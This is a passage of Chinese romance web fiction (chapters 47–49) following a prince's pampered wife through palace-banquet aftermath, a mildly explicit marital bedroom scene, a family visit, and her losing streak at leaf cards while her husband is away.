封肆想撞墙:“宝贝,人家怎么想的,我哪里知道?不过是防人之心不可无罢了。” “噢。”柳娆愣愣点头。 封肆稍等片刻,见她没再反驳,长松一口气,揽着她往偏殿走:“走,我们去将你这身繁琐的衣袍换下来,省得不小心踩到摔了。” 她还在思考,妆卸了一半,忽然开口:“是皇帝吗?” 封肆眼前一黑。 柳娆伸手在他眼前晃晃:“你怎么了呀?哪里不舒服吗?” 他深吸一口气,反问:“我害过你吗?” 柳娆摇摇头。 “我对你好不好?” 柳娆点点头。 “那你要不要听我的?” 柳娆点头点到一半,突然停下。 封肆看着她:“嗯?” 她瘪瘪嘴:“可是我也有自己的想法呀。” “我知道。”封肆捧着她的脸,“我知道宝贝是个古灵精怪善于思考的宝贝,可有的事若是不经历,我说了你也不明白,且一时半刻也没法经历,这样的事,你是不是应该暂时先听我的?” 她眼瞳转动,轻轻点头:“对。” 封肆亲亲她的脸颊:“所以,以后在宫里不要乱说话,好不好?” 她又点头:“好吧,那我暂且听你的。” 封肆松快扬唇:“好宝贝,好好更衣吧,更完我们去用晚膳,你方才舞了那一曲,肯定又饿又累。” 她眼瞳又转转:“说饭菜难吃,不算是乱说话吧?” “嗯?”封肆抬眸。 “其实也不是难吃,主要是那些饭菜都有些冷了,一会儿回去大概就冷透了,我想吃些热乎的。” “这不算乱说话,我去跟人吩咐,不用担心。” 柳娆抱住他的肩,开怀道:“那可太好了,我还想吃点儿别的,宫宴的饭菜份量都好小,我根本吃不饱。宫宴热闹就热闹,也能出风头,但是吃不好,也不能随意所欲说话,我以后都不想来了。” 他笑着在她额头上落下一吻:“放心,也就是节气才来,平时咱们没有出席宫宴的机会的,我们就在家里,你想吃什么就吃什么,想说什么就说什么,没人拘束你。” 第47章 第 47 章 这是有福气 “那我就原谅你啦。” “又原谅我什么?” “原谅你跟我解释不清楚啊。”柳娆靠在他肩上, “反正就是原谅你啦。” 他无奈抚抚她的头:“好吧,原谅我就好。” 宫宴结束,月上中天, 圆月悬空, 夜风拂起车帘, 柔和的月光落在那张酣睡的脸上,封肆的目光也落在那张脸上, 忍不住弯唇。 中秋过去, 封肆的休沐结束, 柳娆醒来时没看到身旁的人,怔愣好半晌才渐渐回神,拖着步子下了床,没精打采坐在窗边。 纤云看片刻, 上前小声问:“娘娘要不要去拼彩贝?” “嗯?”她抬头, 眼一弯, “对噢, 我都差点儿把这事儿忘了,咱们去拼彩贝吧,我还想用彩贝做首饰呢。” 工房里,匠人们已经开始研磨彩贝,她大步往里走,一眼瞧见坐在案前的江亦清。 她上前寒暄:“小江,你来这么早啊?你们没回家过节吗?” 江亦清起身行礼:“回去了几日,落了许多进度, 这才一早过来赶工。” “噢,原来是这样啊,我这几天忙, 还没去浴池看过,弄得怎么样了?还没有修完吗?” “主要是差池底铺的彩贝,等彩贝铺完算是完工一大半了。” “是不是我先前用的太多了?那我不打搅你们了,你们快弄吧,天冷了,我还想用浴池泡澡呢。” 江亦清垂眸低笑:“刻磨彩贝本就复杂,没有王妃在,也得耗时耗力,况且王妃用的那些并不足以影响进程。” “那就是我还能继续玩咯?” “对。” “那可太好了,那我继续做的首饰了。” 她早前便让工匠打了不少首饰,只需要将打磨好的彩贝碎块镶嵌在首饰上,原本平平无奇的簪子就能光彩夺目。 一支花朵样式的簪子要花费她好几日的时光,也能让她高兴许多天,封肆也放心许多,有个事做,也省得她整日没事可做,总哼哼唧唧。 傍晚风大,她披一条斗篷,再抱一条斗篷,在皇宫大门前等候,见封肆出来,立即跳下车跑去。 “夫君!”她迎风大喊。 封肆遥遥看去,又是好笑又是暖心,立即跟同行之人告别,大步朝人走去:“风这么大,当心着凉。” “不会呀。”柳娆笑着扑进他怀里,将披风递给他,“风好大,你快把披风裹上,别着凉了。” 他含笑的目光落在她脸上,扬着嘴角,将披风裹上。 “我来我来。”柳娆抬手,在他脖颈下打了一个板板正正的蝴蝶结,满意道,“好啦。” 他垂眸瞥一眼,当做没瞧见,搂着她往回走,轻声叮嘱:“天冷了,往后不必来接我,在家里乖乖等着我就好。” “可是我就想来嘛,我一天都没见到你了,我想早点见到你。”柳娆抱住他的腰蹭蹭他,“天冷了,该抹香膏了。” 他一听到那什么香油、香膏、香露,就头疼得厉害,随意敷衍过去:“知道了,让侍女去买就是。” “不用买,家里还有呢,你和我一起抹吧。” “你抹就好,我不习惯抹那些东西。” “可是抹了肌肤就不会干燥起皮,就能舒服很多,我也是为你好嘛。” 封肆拍拍她的背:“好好,回去再说,回去再说。” 她以为他应下了,高兴靠在他的肩头,叽叽喳喳说起些家里的闲事杂事,跟个百灵鸟似的。 封肆一点也不觉得无聊,他几乎喜欢她的一切,除了那些偶尔冒出来的无理的要求。沐浴完,他兴致昂扬回到床边,还未坐下,便听人道:“我们抹香膏吧!” 他有些头疼:“同房后再抹,好不好?” “噢,好吧,也行,你给我抹就行。” 那一瞬的头疼立即消散得无影无踪,他钻进香喷喷的被窝,将她抱入怀中,笑着在她脸颊上亲吻:“宝贝一点都不想要我吗?还要抹什么香膏,我都已经等不及了。” “可是我要抹了香膏才高兴,我高兴了你才高兴呀。” “好,我一会就让你高兴。” 被褥一拉,狭窄的空间里漆黑一片,粗重的呼吸交织,体温不断攀升,破碎的、连绵不绝的低吟声往他耳朵里钻,令他沉迷沦陷。 被褥掀开,他双手仍旧搂着怀里的人,目光黏在她迷蒙的眼眸上,时不时在她脸颊啄吻一下。 那双迷蒙的水眸渐渐回神,柳娆哑声开口:“抹香膏。” 封肆哭笑不得:“还记着这事呢?” “你给我抹嘛。”她小声哼哼,被亲吻的嫣润的唇嘟起,可爱极了。 封肆搂着她坐起,拿着香膏往她身上抹,忍不住偏头又在她脸颊上亲吻几下,叹息道:“别说抹香膏了,眼下我的宝贝要天上的月亮,我都得给她摘来。” 柳娆头一抬:“真的?” 封肆无奈亲亲她的额头:“你要天上的月亮做什么?” “我没说要啊,是你说要给我摘的。” 封肆扶额低笑:“宝贝,我跟你说笑呢。” 柳娆扭头在他脸上啵唧一口:“小四宝贝,我也跟你说笑呢,我不要星星月亮,我只要你。” 他被哄得合不拢嘴。 “你快给我抹吧,抹完我们再同一回房。” “嗯?” “再同一回呀。”柳娆扣扣他的指尖,“你是不是耳朵被堵住了,老是听不清人说话。” 他低笑:“我是奇怪怎么还要?” “为什么奇怪?你不愿意吗?”柳娆转身,往他身上爬了爬,抱着他的脖颈轻蹭一会儿,突发奇想道,“要不咱们边同房边抹吧。” 封肆哼笑:“你花样真多。” “是吧?我就是这么聪明。”柳娆抱着他的肩摇摇晃晃,难以自制地轻哼起来。 他一时也不知道是该高兴还是该忧愁,默默放下香膏罐子,搂住她的腰,感慨道:“还好我还年轻。” 怀里的人腰肢忘情地扭动,嘴上却道:“抹香膏呀。” 封肆闭了闭眼:“你还真是会折磨人。” “抹嘛抹嘛。”柳娆扶着他的肩,挺直着身子,咬着唇,闭着眼,起起伏伏。 他深吸一口气,紧咬着牙关,屏息凝神,滚烫的掌心几乎将凝固的香膏瞬间化开,用力地抹在她柔滑的肌肤上,几乎要揉进她的血肉里。 那柔软的腰肢扭得越发起劲儿,这段时日似乎是练出来了,每回都将他往死里绞,这一回也不例外,他刚抹完香膏,掐住那腰还没半盏茶的功夫,便被人绞得原地投降,随之那腰肢也软塌下来,轻倚在他怀里。 他抱住她,哑声道:“抹好了。” “嗯,好幸福。”声音软绵绵的。 封肆忍不住将她抱紧:“睡觉了?” 她一动不动:“我要压着你睡。” 封肆痛苦又幸福,笑着叹息一声,搂着她躺下:“压吧,把我压成肉饼。” 她闭着眼,嘟嘟囔囔:“不会的,我才没那么重呢。” “好好,你最轻了,睡吧,睡吧。”睡着了就不用压着了。 “你明天给我染指甲吧,天冷了,花草都凋谢了,到处都是光秃秃的,涂个指甲会好看点。” 封肆一点没弄懂这段话的前后关系,无奈道:“明天的事明天再说吧,睡觉。” 快睡吧,他真要喘不过气了。 第二日,一觉睡醒,浑身酸疼,丝毫没放松,反而更累了。他坐在床边重重叹息一声,转头在熟睡的面颊上亲了亲,起身出门。 柳娆睡到晌午才醒,一觉醒来,精神充沛,提着裙子蹦蹦跳跳往外面去。 纤云迎面而来:“娘娘,三少爷来了,说是老太太和夫人许久未见到娘娘,,请娘娘回娘家去玩。” “一、二、三……”她在心里算了算,哎呀一声,立即调转脚尖,“还真是好久没回去了,你去跟小江说一声吧,我今天不过去了,让他们全力修建浴池。” 柳珣已在马车上候着,她,拉开车窗往里看,对上三哥的笑容,灿然而笑。 “三哥,这辆马车太小了,你坐我的吧。我的马车又大又暖和,里面还铺着金丝软垫可软和了。” 一辆黑色马车从她背后驶出,停在斜前方,柳珣只顾着欣赏,马车的材质,连上面挂着的帘子琏子都忽视了,咂舌称叹:“这是黑檀木做成的吧?” 柳娆回头看一眼马车:“是吗?我也不清楚,怎么样?气不气派?这是小四让人新给我做的,我已经乘坐了有一段时日了,还挺稳当的,快上车吧。” 柳珣围绕着马车转了一圈,指尖拂过马车木板上的纹理,还是忍不住惊叹:“这也太奢华了吧?” “三哥,你走不走?再不走都赶不上吃午饭了,你要看回去再看嘛。”柳娆拉着他往马车里钻,变戏法似地从抽屉里摸出两块蜜饯,分一块给他。 他啃着蜜饯,怔怔看着车里的装饰,描金的雕花纹案,狐狸皮毛制成的地毯,还有他屁股底下的丝绸坐垫…… “我这马车还不错吧?”柳娆也望着,咬着蜜饯含糊不清道。 “宁王可真有钱。”他感慨,“怪不得那些皇子都要夺嫡呢,赢了之后真是要什么就有什么。” 柳娆咀嚼着蜜饯,又问:“你们老说夺嫡夺嫡,什么是夺嫡?” “唉,就是争夺皇位。” “噢,小四说了,他不想当皇帝的。” 柳珣惊奇:“他连这个也跟你说?” 柳娆不假思索:“那当然了,我们是夫妻,当然是什么话都可以说的啦。” “真是想不到……不过你可别出去乱说啊,你现在嫁给他了,咱们家算是和他绑在一条船上了,他要是出什么事,咱们家也跑不了。” “我没有乱说呀,我只跟你说了,三哥也是我最信任的人。”柳娆冲他眨眨眼。 柳珣感动得一塌糊涂,两眼汪汪:“有你这句话就够了,以后这种机密的事,你还是不要跟我说,也不要跟任何人说。” “我知道了,三哥,你吃。”柳娆又往他手里塞一颗蜜饯。 吃了一路,到柳府时,那一盒蜜饯已见底,柳娆跟柳珣对视一眼,齐齐将嘴擦干净,一脸正色跨下马车。 “媚儿!”陈夫人笑着迎来,几乎是双手将她从马车上抱下去,“你这段时日在做什么?怎么也不来回来看看?我和你祖母都很想念你。” “我在做彩贝簪子呢,做得太入迷就忘了。”她嘿嘿笑两声。 陈夫人搂着她:“罢了,你没事就好,厨房里炖了你最爱吃的乳香花酿羹,这会儿应该已经呈去前厅了。” 她眉眼弯起:“谢谢娘!” 前厅中,祖母见她来也立即起身来迎,她高兴奔去,而后一脸疑惑地看向柳瑜:“二哥?你怎么也在?你不用去当差吗?” “休沐。”柳瑜舀好汤羹递给她。 “那为什么小四不休?” “我和他又不是一个职位。” “噢。”她喝一口,忽然觉得不对,沾着一圈白色汤羹的嘴一抬,“你今天怎么这么好心,还给我舀汤?” 柳珣在她身旁坐下,笑着道:“宁王前几日在朝堂上举荐了二哥,二哥因此升官了。” “嗯?”柳娆眨眨眼,“怪不得脾气都变好了呢。” 柳瑜笑问:“这是什么话?我从前对你不好吗?” “哼,你就是很凶,你还不承认,我告诉你,我现在可是有靠山了,你要是再凶我,我就让我夫君把你升的官给撸下去!” “哟,成亲这么久,别的没学会,倒是学会狐假虎威了。” “你才是狐狸。”柳娆下巴一扬,“反正你现在得尊敬我,得爱护我,知道吗?” 老太太一人敲一下:“这难道是什么好事吗?咱们家这回是彻底跟宁王绑定,往后便得一荣俱荣,一损俱损了。” “原本不也是这样嘛。”柳娆吃完汤羹,又去剥橘子,“我和他都成亲了,怎么也分不清的。” 柳瑜惊叹:“你还知道这个?” 柳娆瞅他一眼:“你少小瞧我,我可是很聪明的。” “那聪明的媚儿知不知道外面因为你夫君,又开始风声鹤唳起来了?” 老太太重重敲柳瑜一下:“祸从口出,不许在你妹妹跟前说这些!” “什么风声鹤唳?”柳娆眼眸动动。 “没什么。”柳瑜话锋一转,“宁王这几日估计又要出远门了。” “啊?你怎么知道的?他都没跟我说过。” “我猜的,八九不离十。” 柳娆气得橘子都吃不下了:“怎么又要出门?日日公务就已经很烦了。” 柳瑜好笑:“你以为谁都跟你似的,整日里只顾得上吃吃喝喝。” 柳娆轻哼一声:“你懂什么?我这是有福气,旁人想偷闲还偷不了呢!” “好好好,你现在是咱们家的老大,你说什么都对。”柳瑜揶揄。 柳娆又叹息:“不行,我得问问他。” 老太太拉住她的手:“问也是晚上再问,这会儿去他也不会回来,你许久没回来,好好陪陪祖母,不许乱跑。” 她立即正襟危坐,乖巧弯唇:“我也很想祖母和母亲,我今天什么也不做,就在家里陪祖母和母亲。” 陈夫人笑着搂住她:“你呀,最会哄你祖母高兴。” 她算着时辰,日头稍落,立刻起身告别,匆匆往宫门去。 和往常一样,这个时辰宫门口聚集了不少人,但她却和往常不一样,没有奔过去,没有欢呼,站在原地踮着脚,静静伸着脖子张望。 封肆有些不太习惯,对上她视线的那一瞬,立即大步迎来,低声询问:“怎么了?家里出什么事了?瞧着一副没精神的模样?” 她没有回答,直接问“你是不是又要出远门了?” “嗯?”封肆扶着她上车,“大概吧,你怎么知道的?” “我二哥跟我说的呀,他说他猜的。” 封肆心里暗骂。晚一天说,就能多一天清闲,这个柳瑜简直是没事找事。 他搂住她的肩,轻声哄:“好了,又不是明天就走,都说不准的,圣旨都还没下来呢。” “我不听我不听我不听!”柳娆捂着耳朵疯狂摇头,像洗了澡甩毛的狗,“我不听不听!” 封肆手还没往她肩上放就被甩开,深吸一口气,皱着眉头看她。 她叫了会儿,没等到人有动作,睁开眼去看,嘴一瘪,委屈巴巴:“你不哄我,你不爱我了。” “哄你的前提是能先和你说上话吧?” “你现在对我的态度很差。” 封肆忍住头疼,趁机双手捉住她的肩,将她按进怀里:“只是出去几天忙公务而已,又不是不回来了。” 她扭了几下,没能挣脱,嘴一撅,别着脸道:“在你的心中,那些公务比我重要,你皇兄的话比我的话重要。” “我要是不听他的,是真会被砍头的。” “你不是他的亲弟弟嘛?他还要砍你的头,看来他也没多爱你嘛,哼!” 封肆刚有些恼火就被逗笑:“嗯,媚儿才是全天下最爱我的人。” “但是你不听我的,你不在家陪我,我不要爱你了。” “我哪里不陪你了?我不是每天一忙完就回去陪你,要我做什么我就做什么?” 柳娆气得一脚踩在他脚上:“你还说呢,你一天大部分时光都花在宫里,哪里有多少空闲陪我?” 他皱了皱眉,捏住她的下巴:“不许踩人。” 那只缀着珍珠的绣鞋不仅没挪开,反而在他靴子上碾了碾,趾高气昂道:“就踩就踩!” 封肆看着那张气呼呼的脸,发觉自己要完蛋了。他原本是想教训她的,可看着她那双圆润的眼,竟然一点也生不起气来。 “这是我的职责所在,媚儿。” “噢,陪我也是你的职责,你陪我,你陪我,我要你在家陪我。”柳娆拉着他的手晃来晃去。 他现在忽然觉得涂指甲也不是什么大不了的事了,总比现在被吵得脑子嗡嗡作响得好。他立即开口:“我回去给你涂指甲。” “好呀!”柳娆只高兴了一息,随之变脸,继续哼唧,“我不要你出远门,我要你在家里陪我。” 封肆深呼吸好几口气,耐着性子哄:“今年就出去这一回了……” “你当我傻呀,这离过年都没多久了,肯定就只有这一回了呀!” 封肆不由轻笑:“好……” 柳娆越发生气:“你还笑,你根本就不在意我!我今天晚上不要和你一起睡觉了!” 那就是不用压着他了?封肆还没来得及暗喜,又听人骂。 “我回去就搬被子去别的院子!” “诶!”封肆着急握住她的手腕,“天冷了,一个人睡多冷啊,你不是说我暖和吗?你和我睡,我还能给你暖被窝呢。” 他只是不想被压着,不是不想被抱着啊。 柳娆下巴一抬:“哼,那我就多盖几床被子,我才不用你给我暖呢!” “多盖几床被子,不重吗?” “不重,我说不重就不重。我告诉你,你的被子里以后再也没有香香软软可爱漂亮的媚儿了!” 封肆笑着圈住她:“那太可怕了,好媚儿,原谅我,好不好?” “不要,我才不要原谅你,我一会儿就回去搬床搬褥子,还有我的屏风我的地毯我的地灯,你就一个人睡在你那个黑漆漆冷冰冰的屋子里吧!” “我明天就去跟皇帝说,让他以后少给我安排些外出的活儿,否则我就不干了。” 柳娆眼眸一转:“真的?” 封肆在她面颊重重亲一口:“别搬来搬去了,不麻烦吗?回去我给你涂指甲好不好?” “好吧,我暂且原谅你了,不过这可是你自己说的,往后要少出去的,你要是再这样经常外出,我真的不理你了。” “好,我一定跟皇兄说。”封肆无奈,可放出去的话要是做不到,媚儿会闹得更厉害,到时他可招架不住。 柳娆终于满意,伸出双手,又兴致勃勃起来:“你看,我的指甲是不是很漂亮。” “漂亮漂亮,媚儿的头发丝都是漂亮的。”封肆捧起她的双手,在她十根指甲盖儿上全亲了一遍。 她笑吟吟亲他几下:“小四,你真好。” “先说好,我没给人涂过指甲,万一涂不好,你可不许生气。” “不会呀,我脾气这么好,心地这么善良,怎么会因为这种小事生气呢?” 封肆对这话持保留态度,他以为自己已经做好了心理准备,直到柳娆又一次看着自己的指甲,又一次递给他。 “还是有点涂出来了,小四,你再给我涂一遍吧。”她在他嘴上啵唧一口,“小四,你最好了,谢谢你!” 第48章 第 48 章 很幸福,很快乐 这已经是第五遍了! 封肆嘴角抽了抽:“呃……” “快涂嘛, 天不早了,早涂完咱们就可以早点睡。” 他望着那双纯净的眼眸,咽了口唾液, 低声试探:“要不让侍女们来给你涂?她们肯定比我涂得好。” “可是我就是想你给我抹嘛, 这样我一看见我的指甲就能想到你, 就能知道你好爱好爱我,我也好爱好爱你, 我就很幸福, 很快乐。” “我……” “小四~”柳娆凑过去, 在他肩上轻蹭,“抹嘛~” 封肆仰头看着帐子上映着的烛光,许久,认命地闭了闭眼, 握起她的手, 将那指甲上的花汁再一次擦去, 对着光, 仔仔细细重新涂一遍,这一回,他已经不期待她点头说可以了。 “哇!”柳娆惊呼一声,夸张道,“小四,你涂得真好。” 封肆心头重重一跳,不知道是该哭还是该笑。 “好啦,你给我包上吧, 然后我们就能睡觉觉了。” 封肆小心翼翼拿着布条将她的指尖包裹起来,生怕哪一步出错,又要重新弄。十个指尖包裹完毕, 他长松一口气,抹了把额头上紧张的热汗:“好了。” 柳娆举着手看看,满意点头:“嗯,睡觉吧!” 几乎是话音落下的同时,封肆立即躺下,卧在床褥上的那一瞬,他浑身舒坦得眉头都舒展开了,突然,柳娆举着爪子,往他身上一压。 “呃!”他被砸得眼前一黑,无奈道,“媚儿,轻点,我要被你压死了。” “噢,对不起。”柳娆亲亲他的脸,双手轻轻搭在他脸两侧的枕头上。 他偏头瞥一眼,好笑道:“不麻烦吗?” “为什么会麻烦呢?睡一觉就好了呀。” “那倒是。”麻烦的全是他,“这个能维持挺长一段时日的吧?” “小半个月吧。” 他眼前又一黑,那种窒息感更强了,连声道:“快睡吧快睡吧。” 小半个月后,柳娆指甲上的颜色渐渐变浅,封肆却不在,她只能让侍女们来抹。 卧房中,工匠们正在贴制最后一匹彩贝,声音有些嘈杂,她便躲去花房里,天阴沉沉的,她的心情也阴沉沉的。 “天暗,娘娘做不了彩贝,不如请些说书唱戏的来解解闷?” “不要,我想玩叶子戏。” 纤云哄了半天了,终于见她有反应,眼睛立即一亮:“那好呀,奴婢们陪娘娘玩。” 她还是不乐意:“不要,你们总故意输给我,一点儿意思也没有。” “奴婢们不会故意输给娘娘的,奴婢们一个月的月钱也就那些,要故意输给娘娘,奴婢们可舍不得……”纤云正跟她说着俏皮话,忽有人来传话。 “娘娘,江公子来了,说是与您禀告一声,浴池过几日就能修好,他前来请辞。” 柳娆眼眸一抬:“啊?他这就走了啊?他走了谁跟我讨论彩贝啊?” 纤云眼眸微动,笑道:“娘娘,要不要叫江公子来陪您玩叶子戏?江公子与王爷是好友,一向不卑不亢,一定不会故意输给您的。” “嗯?有点道理,你去叫他来,我们几个玩。” 江亦清坐在牌桌前时,还是有些懵。 “你就多留两天嘛,我让小四给你多发几天工钱。” “草民……” 纤云端来茶水,轻声解释:“娘娘嫌旁人玩叶子戏总故意输给她,想来江公子不会如此。” “对对,纤云你也坐下,你们千万不要让我。喏,这个给你们当做本金,剩下的盈亏自负噢,否则就不好玩了。”柳娆从荷包里倒出两把碎银子分给桌上的人。 纤云双手接下道谢,娘娘玩的不大,平日里又爱随手赏些东西,即便是输了,过两日也就回来了。 “多谢娘娘。”纤云笑道。 江亦清还是有些莫名,跟着也道:“多谢娘娘。” “太好啦,我们开始吧!” 柳娆笑着开始,哭着结束。 这个小江,一个下午,把她一整天的零花钱都赢走了! 她嘴角颤动几下,强装豁达,可眼睛里的泪花都要冒出来了。 江亦清看她几眼,没忍心笑:“彩贝已全部打磨完成,只待工匠们铺进池底便完工,不需草民再盯着,草民想明日离去。” “你不许走!”柳娆红着眼喊,嘴唇颤抖得越发厉害,她的钱,她要把她的钱都赢回来。她稍稍镇定,瘪着嘴道,“你很着急回去吗?浴池还没修完呢,你不能走,要是他们修坏了怎么办?你得盯着。” 江亦清低垂着眼,强忍着笑意:“是,草民遵旨。” 柳娆还以为他不愿意,又道:“做事得有始有终,你明白吧?你接下了这个差事,你就该做好,否则传出去,以后谁还和你往来?就这样了,你晚几天再走。” “是,那草民先告退了。” “好。”她吸吸鼻子,看着人出门走远,转头哇一声哭出来,“他把我的钱全赢走了……” 侍女们又心疼又觉得好笑,也都不敢笑,生生憋住:“或许是娘娘今日的手气不大好,明日说不定就好起来,便能将今日输的全赢回来。” 她边吸着鼻子边点头,边掉着眼泪边抹去:“对,我明天肯定能赢回来的。” 第二日她起了个大早,摩拳擦掌许久,一鼓作气道:“去将他叫过来。” 江亦清早看出她心疼输出去的银子,只佯装不知,还故意问:“娘娘寻草民可是有什么事要吩咐?” 她嘴一咧,皮笑又不笑:“这不是没事做嘛,浴池那边也不用你盯着,你就继续来陪我玩叶子戏呗。” 江亦清做出一脸为难的模样:“那好吧。” 她就不信他今天还能赢! 柳娆眼眸滴溜溜的转一圈,又拿出荷包,倒出一把银子,这回只给了侍女们,还解释一句:“你昨天赢了钱,我就不给你本金了啊。” 江亦清微笑点头:“好。” 柳娆清了清嗓子,挺直腰杆:“那我们开始吧!” 傍晚,落日余晖洒下,她隐忍的哭声从花房里传出来:“呜呜呜呜……” 她又把一天的零花钱给输出去了。 纤云小心翼翼道:“娘娘,要不明日再试试?” 她哭着重重点头:“我明天一定会全赢回来的!” 第三天,她的钱袋子又被掏空。 江亦清看她快要哭了,轻声问:“王妃,明日还玩吗?” 她死死攥住拳,硬生生将眼泪憋回去,她也是有尊严的!她道:“玩,玩嘛,反正是打发时光嘛。” “好吧,那草民明日再来。” 她盯着那道背影,仰头大哭:“我的钱!” 纤云已经不敢再劝,她算是看出来,这个江公子玩叶子戏有一套,恐怕不是一句运气能掩盖过去的。她小声问:“娘娘,明日还玩吗?” 柳娆哽咽道:“玩,我还要玩。” 纤云顿了顿,小声试探:“那个江公子,似乎不是个善茬儿……” 她咬牙切齿,一鼓作气:“我不管,我要把我钱都赢回来!” 小半个月的零花钱全输出去,她失魂落魄,扶着墙缓步往外走,欲哭无泪。 江亦清在她身后问:“王妃,明日还玩吗?” 她嘴一瘪,眼泪哗啦啦往下掉,还倔强着不肯露出哭腔:“你不是着急回家吗?你快回去吧。” 江亦清看着她那落寞的背影,有些后悔,这几天没让让她。他忍不住开口,想将银子还回去:“王妃……” 柳娆摆了摆手,拖着步子往外走。 碎雪从天空飘旋而落,她望着天,豆大的泪珠也泫然而落,委屈问:“小四什么时候回来啊?” 侍女们也没有答案。 雪飘了一夜,她的悲痛欲绝在一觉后稍稍缓解,坐在窗前对着雪白的天地发呆,侍女们上前奉上一盏热茶,谁也不敢再提叶子戏的事。 “娘娘,浴池修好了,娘娘晚上要不要试试?” 她别开脸,稍稍侧身。 侍女们对视一眼,跟着她转,又问:“外面落了好厚的雪,娘娘要不要出去赏雪?” 她又转身。 侍女又跟过去:“外面的梅花不知道开了没,娘娘要不要出去看看?” “这个时节,梅花应该还没绽放吧?” “出去看看便晓得了。”侍女顺势给她披上斗篷,撑上伞,扶着她往前走。 雪还在飘,外面雪白一片,清新的凉风迎面而来,将她的郁闷带走几分,她伸着脑袋好奇四处张望,鹿皮靴子在雪地里踩踩,感慨一声:“雪好厚呀。” 侍女应和:“昨晚飘了一夜。” 她又叹气:“唉,这么厚的雪,我们在府中都不好行走,更别说外面赶路了,看来小四一时半会儿是回不来了。” “兴许王爷已经在路上了。” “在路上也会被雪拦住。”她沿着清扫干净的小路往院门外走,刚一踏出,便瞧见路过的江亦清,她问,“诶?小江,你不是要回去吗?” 江亦清举着伞来:“草民见过王妃。雪天路滑,还请王妃许我在王府中再住几日,等雪停了再走。” “哎呀,我不是赶你走的意思,我只是好奇问一句。” “草民明白,今日无事,王妃还要玩叶子戏吗?” 柳娆脸一垮:“你怎么对赌钱这么上瘾?这样可不行啊。” 第49章 第 49 章 不听媚儿言,吃亏在眼前 江亦清垂眸轻笑。 柳娆瞧他那副得意的模样, 很是不顺眼,气道:“你笑什么?” “草民不敢。”江亦清轻声道,“王妃是在此处赏雪吗?” “不然呢?”柳娆瞪他两眼, 转头就走, 没走几步, 脚下一顿,又回眸看去, “你知道小四现在在哪里吗?” “王爷的行踪, 草民如何会知晓呢?不过王爷在外面大概也都是忙正事, 王妃不必太过担心。”江亦清以为她在担忧封肆在外面乱来,故而出声劝慰。 她没听懂他的弦外之音,只唉声叹气:“那他什么时候才能回来啊?你冬天去过城外吗?要是下雪,是不是就进不了城了?” “若是道路积雪, 的确会阻碍行程。” “好吧, 看来他一时半会儿是真的回不来。 ” “王妃思念王爷了吗?” “你这不是废话……诶, 你成亲了吗?那你妻子是不是在家里等你啊, 唉呀,我应该早些让你回去的,你妻子肯定很想念你。” “王妃不必担忧,草民还未成亲。” 柳娆惊讶道:“啊?你还没成亲啊?你和小四是好朋友,你们年龄应该是差不多的吧?你怎么这么大年龄还不成亲啊?你不想成亲吗?” 江亦清不紧不慢道:“也不是不想成亲,只是未遇到合适的。” “噢,原来是这样啊。”柳娆一本正经道,“其实成亲也很好的, 这样就有人在家里等你了。” “是,王妃说得有理。” “唉。”她又叹息,“在家等人也挺烦的, 要是小四跟你一样,整天没什么事做,能想去哪儿就去哪儿就好了。” 江亦清一噎:“草民也是有事要做的,草民现下不就在王府中做事吗?” “可是你想来就来,想走就走啊,他就不行啊,皇帝要他做什么他就得做什么,早知道我就找一个你这样的,就能天天陪着。” “咳咳!”江亦清被呛到。 “你着凉了?外面好冷的,我们还是回屋里说话吧。”柳娆转身往回走。 江亦清看她两眼,抬步跟上。 她脱下斗篷,握住水杯取暖,继续道:“你说,他什么时候才能回来呢?” “草民也不知道。” “你除了这一句,就不会别的了吗?”她捧着脸,“要是他一直能这样陪着我就好了。” “陛下登基不久,朝中有许多事要处理,王爷恐怕一时片刻都闲不下来了。” “啊?那他还说要跟皇帝说,明年少出门的。” 江亦清有些后悔自己乱说话:“或许王爷有别的打算。” “真讨厌。”她重重叹息一声,忽然道,“你除了会打磨彩贝,还会什么?” “各类的手工艺品都会一些……” “哇!那你留下来陪我吧,这样我每天都有新东西可以玩,就不会无聊了!” 江亦清心头一跳:“这样的事,王妃还是要和王爷提前告知吧?” “他又不在,我怎么跟他说,再说啦,只是让你留下来陪我玩而已,这有什么好不同意的?” 江亦清还是有些顾虑,他虽然没见过封肆为女人吃味的模样,但他还算了解封肆,万一他要是做出什么不对的事来,封肆会毫不犹豫要了他的命。 “你会什么手工艺品?串璎珞你会吗?我们串璎珞吧!纤云,你去将我的珠子线都拿出来!” 雪渐大,江亦清走不脱,只能应下。 落了两日,雪停了,积雪越发深厚,柳娆玩腻了串璎珞,又开始打络子。 她正跟江亦清展示她的络子,侍女的声音从外传来:“娘娘!王爷回来了!” 她一愣,扔下络子,飞奔而去,清脆的声音穿透重重宅院:“小四!” 封肆脚步一顿,大步疾奔,踏碎积雪,稳稳当当将她接入怀中,用斗篷紧紧裹住她,低声问:“怎么不穿斗篷?不冷吗?” “我想你!”她抬眸,透明的眼眸瞬间通红。 封肆怔愣一瞬,将她紧紧抱住:“媚儿,我也想你。” “你怎么才回来?我和人玩叶子戏输钱了,把半个月的零花钱都输完了。”她越说越伤心,越说越委屈,忍不住哽咽起来,“我再也不赌钱了,呜呜呜呜……” “我还以为你是想我想哭的,原来是输钱了哭的?”封肆笑着捧起她的脸,“输了多少?我补给你就是。” “我不要,那不一样。”她瘪着嘴,委屈极了。 封肆更觉得好笑,在她嘴上啄吻:“输给谁了?我给你赢回来。” 她抹抹眼泪:“他。” 江亦清从厅中走出,躬身行礼:“见过王爷。” 封肆笑了笑。搂着人往里走:“他啊,他自小不好好念书,整日就琢磨这些东西,你输给他不奇怪。” “啊?”她抬眸,满眼担忧,“那你还能把我的钱赢回来吗?不要我们两个都输给他了。” “试试。”封肆扬唇。 她的小脸皱成一团:“试试?” 封肆搂着她进门,将斗篷扔给侍女,拉着她在腿上坐下,双臂圈着她,将她随意放在桌上:“来。” 江亦清在他们对面落座,陪玩的侍女也悄然落座,安静整理好桌面,将叶子戏摆放好。 封肆搂着人抓牌,笑着道:“我们今日就只赢他的。” 柳娆为他捏一把汗,在他耳旁悄声问:“小四,你行不行啊?要不咱们及时收手吧,那小半个月的钱就算了,你不知道,我前些天一直想赢回来,结果越输越多。” 他拍拍她的背:“你看着就好。” “噢。”柳娆撅了撅嘴,微微抬着下巴,稍稍垂眸,轻哼一声,小声嘀咕,“不听老人……媚儿言,吃亏在眼前。” 封肆哼笑一声,权当未听见,举着手中的牌给她看:“如何?还不错吧?” 她满脸不服气:“噢,你玩嘛。” 封肆拍拍她的肩:“放心,夫君一定帮你把他打得落花流水,片甲不留。” 她眼一圆:“你读书的时候也没好好读?” 封肆一噎,连声催促:“嘘,嘘,开始了。” 